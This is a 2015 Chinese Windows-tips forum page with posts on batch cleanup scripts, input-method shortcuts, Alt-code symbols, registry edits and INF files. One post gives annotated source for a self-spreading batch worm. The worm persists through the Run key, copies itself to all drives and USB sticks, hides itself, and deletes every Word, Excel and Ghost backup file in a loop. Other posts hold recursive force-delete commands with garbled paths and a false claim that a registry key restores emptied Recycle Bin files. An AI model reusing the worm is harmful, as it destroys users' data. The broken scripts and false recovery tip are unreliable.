计算机 > 软件 > 人工智能 - FF87论坛!

痕迹清理批处理工具

zyc — Thu, 11 Jun 2015 15:58:11 +0800

将下面内容用记事本编辑另存为.bat格式结尾文件，双击运行即可
代码区：
@echo off
color 0a
title windows7系统垃圾清理—
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo.★☆ ☆★
echo.★☆ ☆★
echo.★☆ 清理系统垃圾文件，请稍等…… ☆★
echo ★☆ ☆★
echo.★☆ ☆★
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo 清理垃圾文件，速度由电脑文件大小而定。在没看到结尾信息时
echo 请勿关闭本窗口。
echo 正在清除系统垃圾文件，请稍后……
echo 删除补丁备份目录
RD %windir%$hf_mig$ /Q /S
echo 把补丁卸载文件夹的名字保存成2950800.txt
dir %windir%$NtUninstall* /a:d /b >%windir%2950800.txt
echo 从2950800.txt中读取文件夹列表并且删除文件夹
for /f %%i in (%windir%2950800.txt) do rd %windir%%%i /s /q
echo 删除2950800.txt
del %windir%2950800.txt /f /q
echo 删除补丁安装记录内容（下面的del /f /s /q %systemdrive%*.log已经包含删除此类文件）
del %windir%KB*.log /f /q
echo 删除系统盘目录下临时文件
del /f /s /q %systemdrive%*.tmp
echo 删除系统盘目录下临时文件
del /f /s /q %systemdrive%*._mp
echo 删除系统盘目录下日志文件
del /f /s /q %systemdrive%*.log
echo 删除系统盘目录下GID文件(属于临时文件，具体作用不详)
del /f /s /q %systemdrive%*.gid
echo 删除系统目录下scandisk（磁盘扫描）留下的无用文件
del /f /s /q %systemdrive%*.chk
echo 删除系统目录下old文件
del /f /s /q %systemdrive%*.old
echo 删除回收站的无用文件
del /f /s /q %systemdrive%recycled*.*
echo 删除系统目录下备份文件
del /f /s /q %windir%*.bak
echo 删除应用程序临时文件
del /f /s /q %windir%prefetch*.*
echo 删除系统维护等操作产生的临时文件
rd /s /q %windir%temp & md %windir%temp
echo 删除当前用户的COOKIE（IE）
del /f /q %userprofile%cookies*.*
echo 删除internet临时文件
del /f /s /q “%userprofile%local settingstemporary internet files*.*”
echo 删除当前用户日常操作临时文件
del /f /s /q “%userprofile%local settingstemp*.*”
echo 删除访问记录（开始菜单中的文档里面的东西）
del /f /s /q “%userprofile%recent*.*”
echo
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
echo ★☆ ☆★
echo.★☆ ☆★
echo.★☆ ☆★
echo ★☆ ☆★
echo ★☆ 恭喜您！清理全部完成！ ☆★
echo.★☆ ☆★
echo ★☆ ☆★
echo.★☆ ☆★
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★

新站让百度快速收录

zyc — Sun, 07 Jun 2015 20:38:50 +0800

百度网盘：http://pan.baidu.com/s/1CEQlK 点击查看

拼音打字快打十招

hy58 — Sun, 07 Jun 2015 10:00:36 +0800

除了少数专业的打字员，大部分人都用拼音打字，使用最多的也是最方便的可能就是标准拼音也就是智能ABC了。如果不会用五笔打字，智能ABC用起来确实很方便。而且熟练了也会很快。当然也还可以多学些加快速度的方法吧。这里收集整理了若干帮助条文，加上使用中一些心得，一并放在空间里，给大家方便，自己也方便查阅。
一、这是最简单的，词组。当要输入“棉袄”一词的拼音“mianao"时，肯定是出不来这个词的，因为ao字是零声母，不过要是在“mian”和“ao”之间输入一个分隔符——‘（即单引号），棉袄就有了，你可以试一试，以此类推，晚安——wan’an，骄傲——jiao’ao……
二、快捷输入英文：无须切换，在中文输入状态下先输入一个”v“，然后再敲入你需要的英文就搞定了：vlove——love，若需要大写则按Shift。
三、快速输入符号和单位，你只须先输入一个“v”，然后接着输入数字1—9中的任意一个，就可得到不同符号，具体功能如下：
输入：得到的符号类型
“v1” 各种常用的和不常用的标点符号
“v2” 各种类型的数字
“v3” 常用符号
“v4” 日语假名
“v5” 注音
“v6” 各种语言的基本字母
“v7” 同上
“v8” 汉语拼音
“v9” 线形特殊符号
四、输入中文小写的数字是件挺麻烦的事，挨个去找很浪费时间。不过，掌握了技巧，它也就没那么难了。只要先输入一个“i”，再加上数字1—9中的某个你要输入的数，这个数的中文小写就出来了。
智能ABC还提供了单位的快速输入，所用热键同样是“i”，采用“i+单位缩写”，比如要输入“厘米”，则只要键入“icm”即可。输入“万”、“千”、“百”、“十”等的方法是在其声母前加“i”，如输入“千”，只需键入“iq”就可以。
对一些常用量词也可简化输入，输入“ig”，按空格（或回车键），将显示“个”；系统规定数字输入中字母的含义为：
g [个]、s [十，拾]、b[百，佰]、q[千，仟]、w[万]、e[亿]、z[兆]、d[第]、
n[年]、y[月]、r[日]、t[吨]、k[克]、$[元]、h[时]、f[分]、l[里]、
m[米]、j[斤]、o[度]、p[磅]、u[微]、i[毫]、a[秒]、c[厘]、x[升]
五、输入大写数字：要在智能ABC中输入大写的数字，如“一”、“二”、“三”或“壹”、“贰”、“叁”，需要使用的快捷键就是“i”和“I”键。比如要输入“三”，只要键入“i3”，要输入“贰”，只要键入“I2”(按住“Shift＋i”，即可输入“I”)即可。
六、输入中文日期：在智能ABC中快速输入年月日的方法与其他输入法相似，使用“n”、“y”、“r”来分割“年”、“月”、“日”，只是要输入前，还要加上“i”，如要输入“二00七年五月八日”，只需键入“i2007n5y8r”即可。大小写的“i”，会有不同收获，参看上条。
七、笔形输入：智能ABC 不是一种纯粹的拼音输入法，而是一种音形结合输入法。因此在输入拼音的基础上如果再加上该字第一笔形状编码的笔形码，就可以快速检索到这个字。笔形码所代替的笔形为：1 横 2 竖 3 撇 5 左弯钩 6 右弯钩 7 十字交叉 8 方框。例如输入“吴”字，输入：wu8 即可减少检索时翻页的次数，检索范围大大缩小。
八、强制记忆功能：强制记忆功能是指将需要经常使用的字符串强制添加到用户词库中，如果仅仅把它当作是造词功能的一种扩展，就太小瞧它了。以向词库中强制添加“老牛”这个词语为例，在智能ABC 的输入条上右击，在展开的右键菜单中选择“定义新词”，这时将打开“定义新词”对话框，在“新词”栏中输入“老牛”，接着在“外码”栏中输入老牛的英文缩写“ln”。以后可以用以下方法输入：在输入条中输入“uln”(前面加了一个u) ，这时词条“老牛”就会出现在输入条中，再按空格键即可使之上屏。切记，要先输一个u 。
九、中途定位：当你打完一个词组却发现上屏的光标位置有误，别着急，不用重新来过，直接按方向键左右移动到新位置，再按空格上屏，就可以了。不过这不通用，记事本可以的。
以前的word97也是可以的，现在的Office2003就不行了。
十、朦胧回忆：智能ABC 在输入的过程当中会自动记忆用户输入的历史情况，对于刚刚用过不久的词语，使用最简单的方法依据不完整的信息进行回忆，从而方便地输入用过的词语。若要重复刚刚输入过的词条，可以按组合键Ctrl ＋－，比如刚刚输入了“天堂苏州”这个词，紧接着再按Ctrl ＋－，词语“天堂苏州”就又被输入，回忆在输入内容比较单一、输入内容频繁重复的情况下使用起来非常有效。
还有些常规的不常用容易忘记，一并记在这里，算是备忘：
全半角切换：按 shift+space（上档键加空格）就可以了。比如~和～，全半角不一样的。
中英文标点符号切换：按ctrl+.（控制键+句号）就可以了。比如 . 和。￥和$ 还有……和^。
有时候打一个字忘了拼写，我们就打词，然后去掉词里多余的那个字就得到我们想要的。其实可以这样：打出词的拼写以后，按“[”得到这个词的第一个字；按“]”得到这个词的最后一个字。比如打“yyh[”就得到“音”字。不过这个方法有时候行有时候不行，可能和键盘类型或者ABC的版本、或者是操作系统的版本有关，还没弄明白。
接下来是些趣味打字，不常用：
1、↖↗↘↙怎么打？ALT+43081,43082,43083,43084
2、嗯。这个字全拼可以直接打en，标准（也就是智能ABC）要打n88 才有。
3、囍。ALT+821206 按下ALT再按数字键，打完数字键放开ALT就上屏了。如果要在word里用，先用记事本打，然后粘贴。
还有些是比较初级的，多半使用者都知道，也有可能不知道的，一并写在下面：
单字快打：z--在；m--没；a--啊；b--不；c--才；n--年；x--小；s--是；d--的；f--发；h--和；g--个……余类推。
双字组： sm--什么；zd--知道；my--没有；wm--我们；mn--明年；hj--环境……余类推。
三字组： ymy--有没有；hbh--会不会；gcd--共产党；mzd--毛泽东；ybf--一部分……余类推。
四字成语：很多常用成语都可以一次打出，比如mmhh——马马乎乎；brgh——病入膏肓；mxy——莫须有；mmqm——莫名其妙；bfbz——百发百中；wangmeizhike——望梅止渴；fanrongchangsheng——繁荣昌盛；jplj——筋疲力尽；buhuangduorang——不遑多让……余类推。
上述例举只是一部分，用多了自然会有新发现。ABC的词频调整如果打开，则会根据个人打字习惯的不同和当前打字词组的出现频率，自动将最常用的字和词组调整到最前面，无须选字，直接按空格键就上屏，很方便。如果临时打文章改变了首字或首词组，想回到原来习惯了的状态，只要关闭当前打字的文稿，重新再开新文稿，就行了。
意犹未尽，再说些智能ABC输入法相关的题外话。当年windows98的时候，智能ABC输入法有个人词库，系统会根据各人的打字习惯将最常用的词组记忆下来，使用时间越长，惯用词组就记忆得越多越全，会越打越方便、顺手和快捷，进入WinXP的时期，这个词组记忆词库功能取消了，莫名其妙，实在令人想不通，或许是微软为了推广它自己的输入法，故意削弱智能ABC吧，可是也没见几个人改用那个什劳子微软拼音输入法，毕竟那是要改变已有的打字习惯相当于从头学打字的，有几个人愿意做这种没必要的傻事呢。
和微软输入法犯同样毛病的是时下层出不穷的新输入法，但是很少有用惯了智能ABC又去改新输入法的，尽管新输入法确实有很多优点，比如庞大而完备的词库和强大的词组记忆功能，但是要求别人彻底改变已有的打字习惯，从头再来，重新适应和建立新的习惯，这工程也过于浩大了。就如同凌空建阁，根本上是靠不住的。除非本来就是新手！
智能ABC是中国人发明的，被微软买断后不仅停止了进一步开发，甚至在主要功能上加以削弱，目的仅仅是为了推广它那没多少人用的微软输入法，这种令人十分切齿而且低劣的做法，竟出自世界一流的大公司，这是很令人费解的。

三步恢复回收站中被删除的文件

hy58 — Sat, 06 Jun 2015 14:13:15 +0800

有时候，因为不小心或烦，删除了有用的或还要用的文件，而且又清空了回收站（或直接删除而根本不放入回收站）。怎么办？别着急，只要你的电脑还没有运行磁盘整理，且系统完好，任何时候的文件都可以找回来。方法很简单：
　　1、单击“开始/运行”，输入regedit 打开注册表
　　2、依次展开：HKEY_LOCAL_MACHIME/SOFTWARE/microsoft/WINDOWS/CURRENTVERSION/EXPLORER/DESKTOP/NemeSpace 在左边空白处点击“新建”，选择“主键”，命名为“645FFO40—5081—101B—9F08—00AA002F954E”，再把右边的“默认”主键的键值设为“回收站”，退出注册表。
　　3、重启电脑即可见到被你删除的文件

一些特殊符号的打法

hy58 — Sat, 06 Jun 2015 10:26:36 +0800

按住ALT，在小键盘上敲以下的数字, 然后松开就出来了
    　　alt+34148=卍
    　　alt+34149=卐
    　　alt+43144=▓
    　　alt+43151=◤
    　　alt+41459=◇
    　　alt+41460=◆
    　　alt+43113=╥
    　　alt+43114=╦
    　　alt+43115=╧
    　　alt+43116=╨
    　　alt+43117=╩
    　　alt+43118=╪
    　　alt+43119=╫
    　　alt+43120=╬
    　　alt+43121=╭
    　　alt+43122=╮
    　　alt+43123=╯
    　　alt+43124=╰
    　　alt+43125=╱
    　　alt+43126=╲
    　　alt+43127=╳
    　　alt+43128=▁
    　　alt+43129=▂
    　　alt+43130=▃
    　　alt+43131=▄
    　　alt+43132=▅
    　　alt+43133=▆
    　　alt+43134=▇
    　　alt+43144=▓
    　　alt+43145=▔
    　　alt+43146=▕
    　　alt+41457=●
    　　alt+41458=◎
    　　alt+43138▊
    　　alt+43139▋
    　　alt+43140▌
    　　alt+43141▍
    　　alt+43142▎
    　　alt+43143▏
    　　alt+43147▼
    　　alt+43148▽
    　　alt+43149◢
    　　alt+43151◤
    　　alt+43152◥
    　　alt+43153☉
    　　alt+43154?
    　　alt+43156〝
    　　另外我再首先介绍2个符号 ▆ 和█ 组建搭配的输入玩法:
    　　▆的打法是按住 A!t 加数字43133 然后放手
    　　█的打法是按住 A!t 加数字43136 然后放手
    　　通过组建在游戏名中就可以打出以下图形：
    　　▆█▆
    ▆█▆
    　　▆█▆ ▆█▆
    　　█▆█ █▆█
    　　▆█▆ ▆█▆
    　　▆█▆ ▆█▆
    　　█▆█ █▆█
    　　10/16新增符号:
    　　alt+41441=♂
    　　alt+41424=⌒
    　　alt+43088=≒
    　　alt+41442=♀
    　　alt+43401=?
    　　alt+43402=?
    　　alt+43403=?
    　　alt+43404=?
    　　alt+43405=?
    　　alt+43406=?
    　　alt+43408=?
    　　alt+43409=?
    　　alt+43410=?
    　　alt+43411=?
    　　alt+43412=?
    　　alt+43413=?
    　　alt+43414=〇
    　　alt+43155=〒
    　　alt+43370=﹋(上)
    　　alt+43371=﹌
    　　alt+43374=﹏(下)
    　　alt+43337=㊣
    　　alt+43222=ㄖ
    　　alt+43353=℡(

如何清理右键菜单实例

hy58 — Sat, 06 Jun 2015 10:22:07 +0800

方法一：一键清理右键菜单
    新建一个“文本文档”，复制进去以下代码...保存为“清理右键菜单.bat”....运行它就行了。
    代码如下：
    @title §清理右键菜单§
    @Color b1
    @echo 正在清理右键菜单，请稍后……
    @echo off
    @regsvr32 /u /s igfxpph.dll
    @reg delete HKEY_CLASSES_ROOTDirectoryBackgroundshellexContextMenuHandlers /f
    @reg add HKEY_CLASSES_ROOTDirectoryBackgroundshellexContextMenuHandlersnew /ve /d{D969A300-E7FF-11d0-A93B-00A0C90F2719}
    @goto end
    方法二：用软件进行清理
    优化大师、超级兔子等软件，可以进行“右键清理”操作。注意：操作之前要记得备份注册表。
    方法三：用控制面板卸载软件
    删除您不使用的程序的文件类型，最好是卸载整个应用程序。可用“控制面板”中的“添加/删除程序”功能。此操作同时会将“新建”菜单的文件列表中的相应项目删除。
    方法四：在文件夹选项中删除
    如果您自行卸载软件后，该文件类型的菜单选项仍然存在，请打开“文件夹选项”，单击“文件类型”选项卡，选取您不再使用的文件类型，单击“删除”按钮，确认删除。如此可将文件类型从关联文件菜单、注册表以及“新建”菜单中删除。
    方法五：在注册表中修改删除
    ◆清除“IE ”右键菜单项
    如，清除“导出到 Microsoft Office Excel(&X)”
    ①打开“注册表编辑器”：开始→运行→输入“Regedit”→确定；
    ②展开“HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt”，右击“导出到 Microsoft Office Excel(&X)”，再单击“删除”。
    ③关闭“注册表编辑器”窗口，打开网页按F5刷新。右击网页再看看右键菜单如下。
    ◆删除“文件”右键菜单项
    打开“注册表编辑器”；
    例1，删除无用的项
    展开“HKEY_CLASSES_ROOT*shellexContextMenuHandlers”分支，找到要删除的项，然后右击该项，再单击“删除”。
    例2，删除用记事本打开
    展开“HKEY_CLASSES_ROOT*shell”，删除“notepad”项。
    ◆删除“文件夹”右键菜单项
    在注册表中，可到下面位置查找右键菜单中的选项。
    HKEY_CLASSES_ROOTDirectoryshell
    HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers
    HKEY_CLASSES_ROOTFoldershell
    HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers
    ◆清理右键“新建”菜单项
    如，清除右键“新建”菜单中的“文本文件”
    ①打开“注册表编辑器”；
    ②单击展开“HKEY_CLASSES_ROOT”根键，在文本文件扩展名.txt下找到“ShellNew”子键，将“ShellNew”改为“ShellNewOld”子键。
    每一种文件类型子键下只要包含了“ShellNew”子键，就会显示在新建菜单上，例如[HKEY_CLASSES_ROOT＼.txt＼ShellNew]将使右键快捷菜单中出现“新建”→“文本文件”菜单命令。因此，只需将不需要的文件类型子键下的“ShellNew”子键改为“ShellNewOld”子键，就可以不让它在“新建”菜单中出现了
    清理“桌面”右键菜单项
    ①打开“注册表编辑器”；
    ②展开“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerDiscardablePostSetupShellNew”，在右栏找到要删除的键值项，然后右击键值项，再单击“删除”。
    ◆清理“显卡驱动”添加的内容
    ①打开“注册表编辑器”；
    ②进入“HKEY_CLASSES_ROOTDirectoryBackgroundshellexContextMenuHandlers”，删除“igfxcui”子项，保留new子项，然后重新启动系统。
    (注意：先导出以备份再删除)。

WINDOWXP开机时怎样取消帐户选择界面

hy58 — Sat, 06 Jun 2015 10:20:53 +0800

在组策略里改，在运行里面输入gpedit.msc--用户配置--管理模板--系统（点选系统）在有面有一个“登陆时不要显示欢迎使用的屏幕”把未被配置，右击打开，选择启用就行了。[/pre][pre] [/pre][pre] “windows优化大师”，有一个选项，可以取消开机选择账户的。非常方便[/pre][pre]个性化，将“自动匿名登陆”打钩

电脑开机的声音如何取消？

hy58 — Sat, 06 Jun 2015 10:20:25 +0800

打开控制面板-声音和音频设备-声音:
    　　1如果只想关闭启动声音,则在程序事件项:找到"Windows 登陆",在下面的声音选项中设置为"无",即可
    　　2不想听系统的所有事件发声,则在声音方案选项,选择"无声"确认后重启电脑试试
    　　我一般装好电脑都是直接在声音方案里设置成"无声",都快忘记系统该是什么声音了,
    　　QQ什么的,全部静音,最不喜欢正在搞资料,突然鸡鸡鸡,嘟嘟嘟的.
    　　如果是vista，各种程序都可以单独控制音量。
    　　取消登陆的音乐，右键点喇叭图标-声音-播放windows启动声音（去掉勾选）即可。

win7装有虚拟机不是默认开机自动登录的解决方法？

hy58 — Sat, 06 Jun 2015 10:19:37 +0800

对于win7不是默认开机自动登录，这点也是相当烦人，设置步骤：
    1.按win徽标键+R
    2.输入“control userpasswords2”或者“rundll32 netplwiz.dll,UsersRunDll”（两者一样效果，后者要注意大小写）
    3.去掉“要使用本机，用户必须输入用户名和mi码”前的对号，点确定
    4.在弹出的对话框中输入用户名和mi码，点确定
    ok了，重启试试，自动登录了吧

自己写批处理病毒

hy58 — Sat, 06 Jun 2015 10:14:22 +0800

非常危险,千万别用...
    ::病毒泛滥的今天,几乎所有的杀毒软件对批处理脚本都不感冒.
    ::这篇我来讲讲用批处理写的病毒(算是病毒吧,因为基本符合了计算机病毒的概念:计算机病毒是人为的特制程序，具有自我复制能力，具有感染性，一定的潜伏性，特定的触发性和很大的破坏性。).就算不能当成病毒,也是破坏性极大的恶性程序.
    ::下面是我写的一小段,别看这一小段,也基本具备了病毒的特性.我在每一句上都做了注释,解释它运行的原理.
    ::@echo off
    ::这句是将它自身加入启动项,计算机启动的时候它将随机器运行.
    ::reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v windowsdir /t reg_sz /d "c:%~n0%~x0" /f>nul
    ::这句定义一个变量DRIVES为机器里面盘符.
    ::set drives=c d e f g h i j k l m n o p q r s t u v w x y z
    ::这句检测所有盘是否有自身这个文件,如果没有则把自身复制到这个盘,
    ::for %%a in (%drives%) do if exist %%a:%0 (echo>nul) else (copy %0 %%a:)
    ::这句是把所有盘的自身这个文件加上存档文件系统文件隐藏只读属性.
    ::for %%a in (%drives%) do attrib +a +s +h +r %%a:%~n0%~x0
    ::这句是一个标签,用于跳转的.
    :usb
    ::这句是查找U盘,如果有U盘则把自身复制进去.如果在这时复制进去的是autorun.inf文件和自身,则实现了感染.
    ::关于传染性,只要有时间去写,实现网页传染局域网传染漏洞传染是一定可以实现的.
    ::for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移动驱动器">NUL && copy %0 %%i)
    ::这句可是破坏能力极大的一句了,删掉所有盘中的WORD,EXCEL和GHOST备份文档.当然,不仅仅是这点,只要去定义,删除任何文件都行.破坏性大吗?
    ::for %%i in (%drives%) do (del %%i:*.doc /f /s /q & del %%i:*.xls /f /s /q & del %%i:*.ghs /f /s /q)
    ::跳转到usb那个标签,重复的执行两句.
    ::goto:usb
    ::最后,因为批处理在运行是是有窗口的,不过可以通过调用VBS来实现它的隐藏运行.下面是VBS代码.
    Set ws = CreateObject("Wscript.Shell")
    ws.run "cmd /c 批处理程序名",vbhide
    在此告诫大家,如果碰到陌生的批处理文件或可疑程序千万别去运行它.
    声明:以上代码具有破坏性,如因以此代码所受到的损失本人概不负责.

软件在指定时间间隔内无鼠标移动键盘点击等动作自动锁定的实现

hy58 — Sat, 06 Jun 2015 10:12:42 +0800

/************************************************************************/
    /* 说明：
    调用函数GetLastInputInfo()以后, 结构成员lpi.dwTime 中的值并非上次输入事件
    发生以后的毫秒数。而是上次输入事件发生时的系统运行时间。相当于上次输入事件
    发生时执行了lpi.dwTime=::GetTickCount()。
    ::GetTickCount()-lpi.dwTime才是上次输入事件发生以后的毫秒数。
    */
    /************************************************************************/
    //注意：windows2000以上系统才支持函数GetLastInputInfo()因此有可能需要在StdAfx.h中加上如下语句：
    #define _WIN32_WINNT 0x0500
    //或者：
    #ifdef _WIN32_WINNT
    #undef _WIN32_WINNT
    #endif
    #define _WIN32_WINNT 0x0500
    //首先定义一个计时器计时事件的定义
    #define  GETLASTINPUTINFO  109
    //然后写一个Time计时器（具体计时器的生成步骤就不在叙述）
    //1、在程序初始化的时候调用
    m_uGetLastInputInfo = SetTimer(GETLASTINPUTINFO, 500, NULL);//设置获取键盘和鼠标处于空闲状态的时间的计时器
    //2、处理函数
    void CNetAppSoftDlg::OnTimer(UINT nIDEvent)
    {
    LASTINPUTINFO lpi;
    DWORD dwTime = 0;
    switch(nIDEvent)
    {
    case GETLASTINPUTINFO://zhouzx 获取键盘和鼠标处于空闲状态的时间
    lpi.cbSize = sizeof(lpi);
    GetLastInputInfo(&lpi);//关于此windows API接口的介绍，参见同文件夹下的文档
    dwTime = ::GetTickCount()-lpi.dwTime;
    if (dwTime >= 30000)//30秒
    {
    if (m_uGetLastInputInfo)
    {
    KillTimer(GETLASTINPUTINFO);
    }
    OnBnClickedButtonLock();
    }
    break;
    default:
    break;
    }
    CDialog::OnTimer(nIDEvent);
    }
    //3、在软件解锁后的地方重新开始新的计时
    m_uGetLastInputInfo = SetTimer(GETLASTINPUTINFO, 500, NULL);
    //4、在推出软件的时候，如果计时器没有停止，要关闭计时器
    if (m_uGetLastInputInfo)
    {
    //结束获取键盘和鼠标处于空闲状态的时间定时器
    KillTimer(GETLASTINPUTINFO);
    }

明明白白Inf文件

hy58 — Sat, 06 Jun 2015 10:11:16 +0800

INF文件全称Information File文件，是Winodws操作系统下用来描述设备或文件
    等数据信息的文件。INF文件是由标准的ASCII码组成，您可以用任何一款文字编辑器查
    看修改其中的内容。一般我们总是认为INF文件是系统设备的驱动程序，其实这是错误的
    认识，Windows之所以在安装某些硬件的驱动时提示需要INF文件是因为INF文件为该设
    备提供了一个全面描述硬件参数和相应驱动文件(DLL文件)的信息。就好比我们看着说
    明书安装电脑硬件一样，我们就是Windows系统，说明书就是INF文件。INF文件功能非
    常强大，几乎能完成日常操作的所有功能。您可以把它看成是Windows系统底下的超强
    批初理。要熟练掌握和理解甚至是编写INF文件需要对其内部结构有相当的认识。下面
    就让我们来深入到INF文件中的内部一窥其真面貌吧！
    　　INF文件的组成有节(Sections)，键(Key)和值(value)(图示一)三部分。
    关键节有[Version]版本描述信息，主要用于版本控制。
    　　　 [Strings]字符串信息，用于常量定义。
    　　　　[DestinationDirs]定义系统路径信息。
    　　　　[SourceDisksNames]指明源盘信息。
    　　　　[SourceDisksNames]指明源盘文件名。
    [DefaultInstall]开始执行安装。
    其它的节可以自定义，下面用一实例来具体讲解。
    [Version]
    Signature=$Chicago$
    Provider=%Author%
    [Strings]
    Product="添加文件关联演示"
    Version="1.0"
    Author="李飞"
    Copyright="Copyright?2002 by Rainsoft"
    CustomFile="inf" ;修改您需要的文件名后缀
    Program="NOTEPAD.EXE" ;修改您需要关联的应用程序名
    [Add.Reg]
    HKCR,"."%CustomFile%,"",FLG_ADDREG_TYPE_SZ ,%CustomFile%File
    HKCR,%CustomFile%File,"",FLG_ADDREG_TYPE_SZ,安装信息
    HKCR,%CustomFile%"Fileshell","",FLG_ADDREG_TYPE_SZ,open
    HKCR,%CustomFile%"Fileshellopencommand","",FLG_ADDREG_TYPE_SZ,%program% %1
    [DefaultInstall]
    AddReg=Add.Reg
    　　在[Version]节中"Signature"项定义了该INF文件需要运行在何种操作系统版本中。有
    $Windows NT$, $Chicago$, or $Windows 95$三个值供选择，一般选择$Chicago$即可。
    项Provider中定义了该文件的创作来源，%Author%指Author项的值。您也可自定其它项
    来描述该INF文件的版本信息。该INF文件的作用是关联文件，所以主要是对注册表的操作，
    我们来看[Add.Reg]节，共四条语句，格式都是一样。HKCR表示根HKEY_CLASSES_ROOT，第二
    个参数是子键的路径名，第三个参数是表明值的类型，最后是值(具体见附表)。以上都是对操
    作的定义与过程，在节[DefaultInstall]中是开始执行要安装的流程，AddReg表明是对注册
    表进行操作，操作对象是Add.Reg节中的定义。如果您把AddReg换成DelReg则是删除注册表中
    的键值。当鼠标单击该INF文件在弹出的菜单中选择“安装”就开始执行您所定义的操作。该
    示例在系统的INF文件右键菜单中增加了查看编辑功能并设置了默认动作，因为在安装了不了
    解的INF文件有可能对系统产生不良的影响，这样双击文件就可打开编辑该文件了。
    　　在看看INF文件在文件操作方面的能力吧。请看下面的一个例子。
    [Version]
    Signature=$Chicago$
    Provider=%Author%
    [Strings]
    Product="文件复制和安装演示"
    Version="1.0"
    Author="薛飞"
    Copyright="Copyright?2002 for Rainstorey"
    [FileList]
    ProcessList.exe ;此文件已在当前目录下，下同。
    [FileList1]
    Wordpad.exe
    [DestinationDirs]
    FileList=11 ;安装到Windows的系统目录
    FileList1=10 ;安装到Windows目录
    [DefaultInstall]
    Copyfiles=FileList,FileList1
    　　相同的节的作用与上一例类似，请注意新出现的节[FileList]，这是我自定义的节名，它表
    示了一个文件组，[FileList1]也类似。在节[DestinationDirs]中需定义每个文件组复制到的
    目录(各个常量的意义见附表)。Copyfiles指明了需要进行复制的文件组。
    　　INF文件的操作还包括服务(NT系统)程序的安装和卸载，INI文件的转换等。由于这些操作都
    比较的复杂和繁琐，且有一定的危险性故下次有机会再向大家进行深入探讨。
    　　最后我们来看一下INF文件的执行机制，这时你也许要问不就是简单的执行一下“安装”吗？
    知其然不知其所以然知识水平是不会提高的。在“文件夹选项”中的“文件类型”找到INF文件的
    “安装”命令看到一串命令。“rundll32.exe setupapi,InstallHinfSection DefaultInst_
    all 132 %1”它表示了运行Dll文件setupapi.dll中的命令InstallHinfSection并传递给它起始
    节的名字 DefaultInstall。可见起始节是可以自定义的。INF文件的执行也可用在各种支持API调
    用的编程工具中。至此INF文件的结构和运行机制我们已基本了解，现在就让你的思维开动起来，让
    它更好的为我们工作吧。

    注册表操作的常量定义：
    ----------------------------------------------------------
    常量根值
    HKCR HKEY_CLASSES_ROOT.
    HKCU HKEY_CURRENT_USER.
    HKLM HKEY_LOCAL_MACHINE.
    HKU HKEY_USERS.
    -----------------------------------------------------------
    FLG_ADDREG_APPEND 在多字符串后添加字符
    FLG_ADDREG_TYPE_SZ 字符类型
    FLG_ADDREG_TYPE_MULTI_SZ 字符串类型
    FLG_ADDREG_TYPE_EXPAND_SZ 扩展字符串类型
    FLG_ADDREG_TYPE_BINARY 二进制值
    FLG_ADDREG_TYPE_DWORD DWord值
    FLG_ADDREG_TYPE_NONE NULL值
    ----------------------------------------------------------

    [DestinationDirs]节中所定义的常量路径
    ----------------------------------------------------------
    01 源目录(后跟路径)
    10 Windows目录
    11 Windows系统目录
    12 驱动目录
    17 INF文件目录
    18 帮助文件目录
    20 字体目录
    21 根目录
    24 应用程序目录
    25 共享目录
    30 当前根目录
    50 System目录
    51 Spool 目录
    52 Spool 驱动目录
    53 用户配置目录
    ----------------------------------------------------------

    [DefaultInstall]节中定义的操作
    ----------------------------------------------------------
    LogConfig Log日志文件配置
    Copyfiles 复制文件
    Renfiles 文件改名
    Delfiles 删除文件
    UpdateInis 更新Inis
    UpdateIniFields 更新Ini字段
    AddReg 添加注册项
    DelReg 删除注册项
    Ini2Reg Ini文件转换为Reg文件
    -----------------------------------------------------------

批处理,全盘搜索并拷贝文件至指定目录

hy58 — Sat, 06 Jun 2015 10:10:05 +0800

@echo off
    SetLocal EnableDelayedExpansion
    for /f "delims=" %%i in ('fsutil fsinfo drives^|find /v ""') do (
    set var=%%i
    set temp=!var:~-3!
    set drive=!temp: =!
    fsutil fsinfo drivetype !drive!|findstr "固定">nul && for /f "tokens=*" %%a in ('dir /s/a-d/b !drive!123.exe 2^>nul') do (
    set/a a=a+1
    set ar!a!=%%~dpa
    echo.
    echo   !a! %%~dpa
    ))
    echo.
    echo.
    echo.
    set/p ch=请选择:
    echo.
    for %%o in (%ch%) do (copy 1.txt "!ar%%o!")
    echo.
    pause

批处理判断前一天日期

hy58 — Sat, 06 Jun 2015 10:09:35 +0800

@echo off
    ::created by baoping
    ::QQ:360565687
    ::取得年月日
    set YE=%date:~0,4%
    set MO=%date:~5,2%
    set DA=%date:~8,2%
    ::设置提前天数
    set DG=1
    ::判断是否闰年
    set/a vY1=%YE% %% 400
    set/a vY2=%YE% %% 4
    set/a vY3=%YE% %% 100
    if %vY1%==0 (set var=true) else (if %vY2%==0 (if %vY3%==0 (set var=false) else (set var=true)) else (set var=false))
    ::判断日期
    set LY=%YE%
    set LM=%MO%
    if %MO:~0,1%==0 (set MO=%MO:~1,1%)
    if %DA:~0,1%==0 (set DA=%DA:~1,1%)
    if %DA% GTR %DG% (set/a LD=%DA%-%DG%) else (
    if %MO%==1 (set/a LY=%YE%-1) & (set/a LM=12+%MO%-1) & (set/a LD=31+%DA%-%DG%) else (
    set/a LM=%MO%-1
    if %MO%==3 (if %var%==false (set/a LD=28+%DA%-%DG%) else (set/a LD=29+%DA%-%DG%))
